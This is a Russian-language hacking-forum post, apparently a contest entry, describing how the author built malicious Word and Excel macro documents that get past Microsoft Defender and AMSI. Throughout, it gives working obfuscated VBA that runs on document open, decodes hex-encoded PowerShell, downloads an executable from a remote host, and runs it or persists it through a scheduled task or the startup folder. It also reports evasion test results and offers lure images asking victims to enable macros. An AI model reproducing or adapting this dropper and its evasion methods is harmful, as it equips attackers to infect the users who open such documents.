Maldoc

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,890
Реакции
25
Сегодня я хотел бы написать про свои потуги свой мини-ресерч на довольно актуальную тему - макросы. Не то чтобы я профи в это сфере, но вредоносные доки интересовали меня довольно давно, и только сейчас я до них добрался. А тут и конкурс, и есть чем поделиться. Надеюсь, кому-то будет интересно почитать.

Статья написана исключительно в развлекательных целях и не призывает к действию!

Макросы - одна из фич программ пакета майкрософт, позволяющая автоматизировать действия продвинутого офисного планктона. Так уж получилось, что пакет msoffice стоит у большого количества юзеров, в том числе на пк разных компаний. Это стало отправной точкой многих атак, тк не каждый пользователь вообще знает что такое макрос, и уж тем более не подозревает о возможном вреде. Несмотря на то что в последнее время уровень компьютерной грамотности людей в мире сильно повысился, вредоносные доки до сих пор пользуются популярностью у спамеров.

----- AMSI -----

На мой взгляд, макйрософт быстро прохавали, что куча разных системных тулз и механизмов облегчили злоумышленникам проникновение в систему. В связи с этим они добавили новую фичу в defender - advanced malware scan interface (amsi).

Так как дефендер установлен на большинстве пк, написание макроса стоит начать со знакомства с этим интерфейсом. По запросу гугла находим две статьи на сайте майков.

Что такое амси - https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

Вкратце - набор предоставляемых функций, которые можно вызывать откуда угодно и сканировать файлы/стоки/блоки памяти. Чуть ниже видим, что эта фича мониторит интерпретаторы скриптов - большой брат все видит.

Далее я наткнулся на следующую статью. Также пробежимся по ней.


https://www.microsoft.com/security/...ba-amsi-parting-the-veil-on-malicious-macros/


Вызовы com или winpai функций из макроса логируются. Если они покажутся небезопасными, амси выдаст алерт. Передаваемые в какую либо функцию параметры будут деобфусцированы и амси таки доберется до нашей команды (например в скрипте было Shell("ma" + "lware." + "exe") но в логе будет "malware.exe").

Также амси имеет некий список индикаторов вредоносных файлов. Это winpai функции, какие нибудь сигнатуры, уже спаленные вредоносные url. Собирается этот список на основе самых распространенных вредоносов.

Ниже нам показывают два кейса. В одном дефолтный макрос, в другом макрос c шеллкодом. В обоих случаях амси молодец, сохранил логи и отреагировал как надо.

Промежуточные выводы:
1) Реализовывать что то объемное (какой нибудь runpe или патч amsi) на vba тяжело (ну, лично мне). Нужно использовать минимум вызовов com/winapi.
2) Обфускация сторк внутри vba скрипта (обход статического анализа)
3) Обфускация переданной в шелл команды (обход скана во время запуска)
4) Powershell - гибкий и хорошо поддающийся обфускации инструмент.
5) Используем не самые заюзанные техники обфускации/доставки нагрузки.

Итак, теперь мы имеем поверхностное представление об amsi. И это мы узнали посетив всего лишь один сайт майкрософта, лол.

При создании дока я не буду использовать какие-то прямые обходы amsi, ограничусь по большей части обфускацией.

----- VBA макрос -----

Схема проста: декодим/расшифровываем и запускаем команду ps.

Антивирусы очень не любят функции вба типа asc, chr, xor и подобное - сразу вешают генерик. Нам придется обходиться самописными функциями/алгоритмами для преобразований команды. Ну или можно дернуть какую-нибудь функцию енкода/шифрования из паблик сурсов и переписать под себя.
Лично я выбрал очень простой подход - перегнал команду в hex строку.

Сурсы генератора выкладовать конечно же не буду ( ̶з̶а̶ ̶к̶о̶д̶ ̶с̶т̶ы̶д̶н̶о̶ зиродей технология). Пробежимся вкратце:
1) Генерим имена глобальных переменных. С ними мы будем работать в сабах.
3) Генерим имена сабов. Мы будем вызывать их.
4) Генерим тела сабов. Несложные мат действия над переменными.
5) Генерим функцию енкода и функцию запуска расшифрованной команды.
6) Объединяем все вместе


В конце имеем что то типа такого:


Код:
Public YkiAC As String Public ecBlmauAU As String Public qSPvNQ As String Public UHxIYPG As String Public snSaS As String Public CImHGXy As String Public pnhwD As String Public JpYTgha As String Public uCxkj As String Public gcvUpthoP As String Public fsmOqOEu As String Public uZgAnPC As String Public eYIxqwR As String Public vuhUI As Integer Public hXhgfl As Integer Public GfqHi As Integer Public gVUVoE As Integer Sub mSFMS() gVUVoE = 7 GfqHi = 9 + GfqHi hXhgfl = 9 gVUVoE = 8 End Sub  Private Sub ubUbQYsl() GfqHi = 5 vuhUI = 8 vuhUI = 5 + GfqHi hXhgfl = 9 - gVUVoE End Sub  Sub Document_Open() YkiAC = "" YkiAC = YkiAC & "506f5765727368654c4c20" wXStfR YkiAC = YkiAC & "203d3b20247031203d2024" nMoxfOuQR YkiAC = YkiAC & "656e763a70726f6772616d" HxbuuXmvF YkiAC = YkiAC & "646174613b247032203d20" YHxqDuLjK YkiAC = YkiAC & "275c6b656b2e736372273b" YHxqDuLjK YkiAC = YkiAC & "247033203d202727202b20" HxbuuXmvF YkiAC = YkiAC & "27687427202b202774273b" GycHVc YkiAC = YkiAC & "247034203d20276e65742e" ammQmLB YkiAC = YkiAC & "273b247035203d20277765" ammQmLB YkiAC = YkiAC & "27202b202762636c27202b" ubUbQYsl YkiAC = YkiAC & "202769656e74273b247036" ubUbQYsl YkiAC = YkiAC & "203d20276427202b20276f" HxbuuXmvF YkiAC = YkiAC & "27202b2027776e27202b20" nMoxfOuQR YkiAC = YkiAC & "276c6f27202b2027616427" ubUbQYsl YkiAC = YkiAC & "202b202764617461273b24" ubUbQYsl YkiAC = YkiAC & "7037203d20277772697427" OZxfeAy YkiAC = YkiAC & "202b202765616c27202b20" HxbuuXmvF YkiAC = YkiAC & "276c627927202b20277465" ubUbQYsl YkiAC = YkiAC & "73273b247038203d206e65" OZxfeAy YkiAC = YkiAC & "772d6f626a656374206469" GycHVc YkiAC = YkiAC & "61676e6f73746963732e70" mSFMS YkiAC = YkiAC & "726f636573733b24776562" TKyxbtato YkiAC = YkiAC & "203d206e65772d6f626a65" ubUbQYsl YkiAC = YkiAC & "6374202470342470353b24" ubUbQYsl YkiAC = YkiAC & "6279746573203d20247765" nMoxfOuQR YkiAC = YkiAC & "622e24703628247033202b" OZxfeAy YkiAC = YkiAC & "202727202b2027703a2720" nMoxfOuQR YkiAC = YkiAC & "2b20272f2f27202b202731" ubUbQYsl YkiAC = YkiAC & "3927202b2027322e27202b" OZxfeAy YkiAC = YkiAC & "2027313627202b2027382e" OZxfeAy YkiAC = YkiAC & "27202b2027312e27202b20" wXStfR YkiAC = YkiAC & "27343527202b20272f5365" HxbuuXmvF YkiAC = YkiAC & "7227202b2027766527202b" nMoxfOuQR YkiAC = YkiAC & "2027722e657827202b2027" mSFMS YkiAC = YkiAC & "6527293b5b696f2e66696c" HxbuuXmvF YkiAC = YkiAC & "655d3a3a24703728247031" mSFMS YkiAC = YkiAC & "202b202470322c20246279" OZxfeAy YkiAC = YkiAC & "746573293b2470382e7374" HxbuuXmvF YkiAC = YkiAC & "617274696e666f2e66696c" wXStfR YkiAC = YkiAC & "656e616d65203d20247031" GycHVc YkiAC = YkiAC & "202b202470323b2470382e" mSFMS YkiAC = YkiAC & "737461727428293b" YHxqDuLjK ammQmLB  Shell (SbT(YkiAC)) End Sub Sub TKyxbtato() hXhgfl = 6 * GfqHi GfqHi = 8 vuhUI = 5 * GfqHi GfqHi = 5 End Sub  Sub GycHVc() GfqHi = 7 GfqHi = 7 + vuhUI GfqHi = 8 + vuhUI vuhUI = 9 + vuhUI End Sub  Private Sub ammQmLB() GfqHi = 7 hXhgfl = 9 * hXhgfl gVUVoE = 5 GfqHi = 5 - vuhUI End Sub  Sub wXStfR() gVUVoE = 6 * GfqHi vuhUI = 8 - gVUVoE hXhgfl = 7 gVUVoE = 9 + gVUVoE End Sub  Sub nMoxfOuQR() gVUVoE = 7 vuhUI = 8 - hXhgfl vuhUI = 6 hXhgfl = 5 End Sub  Sub OZxfeAy() vuhUI = 6 hXhgfl = 7 hXhgfl = 6 gVUVoE = 8 End Sub  Sub YHxqDuLjK() hXhgfl = 6 * gVUVoE gVUVoE = 6 + GfqHi gVUVoE = 9 vuhUI = 6 - vuhUI End Sub  Private Sub HxbuuXmvF() vuhUI = 9 GfqHi = 6 gVUVoE = 5 hXhgfl = 8 - vuhUI End Sub  Private Function SbT(ByVal wVn As String) As String hXhgfl = 40 * hXhgfl Dim ycQlJuQqw Dim UCwI Dim EAuZ As Long For EAuZ = 1 To Len(wVn) Step 2 If True Then ycQlJuQqw = Mid$(wVn, EAuZ, 2) UCwI = Val("&h" & ycQlJuQqw & True) SbT = SbT & Chr$(UCwI) End If Next EAuZ vuhUI = 65 + GfqHi End Function


В одну переменную кладем нашу хексованную команду. После каждого присваивания вызываем какой нибудь саб с простыми мат действиями. После расшфировки запускаем команду в shell (ну что тут поделать). Имя объекта тоже стоит подвергнуть обфускации.

В теории это все конечно здорово. На практике же начинается жопоболь. Кажется, что дефендер детектит абсолютно все (на скане его нет).


https://avcheck.net/id/dcGehcorPYdB


Хорошо, тогда внесем поправки в код. Мы можем хранить строку не в переменных макроса, а где нибудь в элементах докуманта, например в таблице. Получается следующий код:


Код:
Public eeeeeeeee As Integer Public ggtwer As Integer Public eereerw As Integer  Sub Document_Open()  Set table1 = ActiveDocument.Tables(1)  Text = Left(table1.Rows(1).Cells(1).Range.Text, Len(table1.Rows(1).Cells(1).Range.Text) - 2) kek1 = "W" & "S" & "c" kek2 = "p" & "t.S" kek3 = kek1 & "ri" & kek2 kek4 = "el" & "l"  Set kek5 = CreateObject(kek3 & "h" & kek4) kek5.Run bHT(Text), 0 End Sub  Private Function bHT(ByVal PYyAUkg As String) As String ggtwer = 663 - eeeeeeeee Dim Ymm Dim lAj Dim egOu As Long For egOu = 1 To Len(PYyAUkg) Step 2 If True Then Ymm = Mid$(PYyAUkg, egOu, 2) lAj = Val("&h" & Ymm & True) bHT = bHT & Chr$(lAj) End If Next egOu eereerw = 666 - eeeeeeeee End Function


https://avcheck.net/id/gBkGi8T5aRr4


Вроде бы все норм. Можно переходить к ps команде.


----- Powershell -----

Один из самых популярных интрументов среди apt групп. По сути - сишарп в скриптовом виде, а с его помощью можно накодить много чего. Тут каждый пишет что хочет, мы хотим примитив - сохранить и запустить файл.

Применрая команда выглядит как-то так:


Код:
powershell $path = $env:programdata + '\kek.exe'; $bytes = (new-object net.webclient).downloaddata('http://192.168.1.45/serv.exe'); [io.file]::writeallbytes($path, $bytes); saps $path;


Подумаем что можно с этим сделать:
1) Команде нужна обфускация. При этом паблик обфускаторы нам врядли помогут, поэтому делаем все вручную. Однин хороший человек сделал одну очень хорошую статью.
[url]https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf [/URL]
2) Наверное не стоит юзать командлеты
3) Можно добавить задержки, ошибки, условия
4) Загружаемый файл должен быть безобидного формата

Окей, чуток модифицируем команду:


Код:
PoWersheLL $p1 = $env:programdata + '\' + [io.path]::getrandomfilename().Split('.')[0] + '.'; =; $p2 = 'exe'; =; $p3 = '' + 'ht' + 't'; =; $p4 = 'net.';$p5 = 'cl' + 'ient'; $p6 = 'ad' + 'data'; =;=;=;=; $p7 = 'writ' + 'eal' + 'lby' + 'tes';$p8 = 'd' + 'ia' + 'gn' + 'o' + 'sti' + 'cs'; $p9 = '.p' + 'roc' + 'es' + 's'; =;=;=;=; $p10 = new-object $p8$p9; =;=;=;=; $p11 = 's' + 'tar' + 'tin' + 'fo'; $p12 = 'st' + 'ar' + 't'; $p13 = 'd' + 'o' + 'wn' + 'lo'; $p14 = 'we' + 'b'; $p15 = $p13 + $p6; $web = new-object $p4$p14$p5; $input = 'test'; =; if ($input.Contains('te')){ sleep -s 10; $bytes = $web.$p15($p3 + '' + 'p:' + '//' + '19' + '2.16' + '8.1.' + '45' + '/se' + 'rv.t' + 'xt'); =;=;=;=; [io.file]::$p7($p1 + $p2, $bytes); =;=;=;=; }if ($input.Contains('st')){ sleep -s 10; =; $p10.$p11.filename = $p1 + $p2; $p10.$p12(); }


Засовываем ее в таблицу, тестим... Дефендер выдает алерт. Наверное ему не понравилось, что какой то док качает и запускает exe. При этом, если прописать команду в cmd то все пройдет как по маслу. Можно попробовать сохранить файл в текстовике, переименовать его и запустить при помощи какой нибудь сторонней программы. Например планировщик.


Код:
PoWersheLL $p0 = [io.path]::getrandomfilename().Split('.')[0]; $p1 = $env:programdata + '\' + $p0 + '.'; $p2 = 'txt'; $p3 = 'ht' + 't'; $p4 = 'net.'; $p5 = 'cl' + 'ient'; $p6 = 'ad' + 'data'; $p7 = 'writ' + 'eal' + 'lby' + 'tes'; $p8 = 'd' + 'ia' + 'gn' + 'o' + 'sti' + 'cs'; $p9 = '.p' + 'roc' + 'es' + 's'; $p10 = new-object $p8$p9; $p11 = 's' + 'tar' + 'tin' + 'fo'; $p12 = 'st' + 'ar' + 't'; $p13 = 'd' + 'o' + 'wn' + 'lo'; $p14 = 'we' + 'b'; $p15 = $p13 + $p6; $p16 = 'ar' + 'g' + 'um' + 'en' + 'ts'; $command1 = '/c  sc^ht^as^ks /cre^ate^ /sc'; $command2 = ' mi^n' + 'ut^e' + ' /m^o ' + '1 /tn ' + $p0 + ' /tr \"' + $p1 + 'com' + '\"'; $web = new-object $p4$p14$p5; $input = 'test'; if ($input.Contains('te')){ $bytes = $web.$p15($p3 + '' + 'p:' + '//' + '19' + '2.16' + '8.1.' + '45' + '/se' + 'rv.t' + 'xt'); [io.file]::$p7($p1 + $p2, $bytes); sleep -s 10; [io.file]::Copy($p1 + $p2, $p1 + 'com'); }if ($input.Contains('st')){ sleep -s 10; $p10.$p11.filename = 'c' + 'md.' + 'exe'; $p10.$p11.$p16 = $command1 + $command2; $p10.$p12(); }


Тест... Уже лучше. Дефендер выдал алерт после вызова cmd, но при этом таск был создан и путти запустился через минуту. Но все равно это не то.

Следующая пара тестов тоже не увенчалась успехом. Дефендер агрится в момент запуска софта. В результате я решил отказаться от идеи запуска и просто скопировал файл в папку автозапуска.

Прошу прощенения за шакалистость - мое ведро хром еле тянет, а тут видео записывать пришлось.
Тест:


https://mega.nz/file/aAI0nSwD#Ml2eDuJmn5ZCglRSes9_RHunqfskl8MmTi4b9HWpltE


С выключенным облаком док отрабатывает нормально.

----- Колдунство -----

Для следуюшего теста я сделал новый док и включил клауд. Дефендер не пускает и детектит файл как Trojan:Script/Wacatac.C!ml (одна из дефолтных сигнатур). На этом моменте у меня сильно подгорело - не знаю точно на что агрится антивирус. Попробую поменять что нибудь в доке. Даблхекс стоки, разбитие строки на несколько ячеек в таблице. Вызов ps из cmd (чем черт не шутит).


Код:
Sub Document_Open() Dim text As String Dim index As Integer Set table1 = ActiveDocument.Tables(1) For index = 1 To 3 If 100 <> 500 Then text = text & Left(table1.Rows(1).Cells(index).Range.text, Len(table1.Rows(1).Cells(index).Range.text) - 2) End If Next index  kek1 = "W" & "S" & "c" kek2 = "p" & "t.S" kek3 = kek1 & "ri" & kek2 kek4 = "el" & "l" Set kek5 = CreateObject(kek3 & "h" & kek4) kek5.Run bHT(bHT(text)), 0   End Sub  Private Function bHT(ByRef PYyAUkg As String) As String Dim Ymm Dim lAj Dim egOu As Long For egOu = 1 To Len(PYyAUkg) Step 2 If True Then Ymm = Mid$(PYyAUkg, egOu, 2) lAj = Val("&h" & Ymm & True) bHT = bHT & Chr$(lAj) End If Next egOu End Function



Все так же детект. Значит, скорее всего вся моя конструкция палевная. Тем более что функция хекса была дернута мной из какого то обфускатора (хоть и была немного поправленной) и содержит функции chr и mid.

Хорошо. Главное терпение. Делаем новый алгоритм вба скрипта:
1) Составляем алфавит из всех символов команды, перемешиваем его.
2) Собираем построчно воедино все переменные в порядке команды.

На примере понятнее:
a = 'b'
c = 'a'
b = ' c'
d = d & a
d = d & b
d = d & c ' abc

Ps команда та же.

Такой макрос в виде docm также детектится дефендером (Trojan:Win32/Detplock). Но теперь таблица нам не потребуется. Тогда давайте-ка заюзаем вместо ворда эксель.

Тест:


https://mega.nz/file/XIxGFApR#-4ejMgThRUi9lvPSLcCSHMyV9NN3dKfXkUb5TPxqjjQ


Какая то магия. На чистые файлы дефендер вешает детект, на грязные - не вешает. Ну или это сканер мудрит. Интересно почитать (если кто напишет) мнение других, более опытных людей касаемо дефендера, облака и вот таких вот странных сигнатур.

Фух, получилось довольно сумбурно, но, надеюсь, интересно. Выводы? Если долго мучиться, что нибудь получится.

Пара картинок с требованием включить макросы (вдруг кому нужно):


https://mega.nz/file/rQZQUQLS#5DyS0btnfvg_biXy2eh3EZunEoxBYdrkfl6iFDCikug


Спасибо что дочитали до конца).


Автор: onek1lo
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.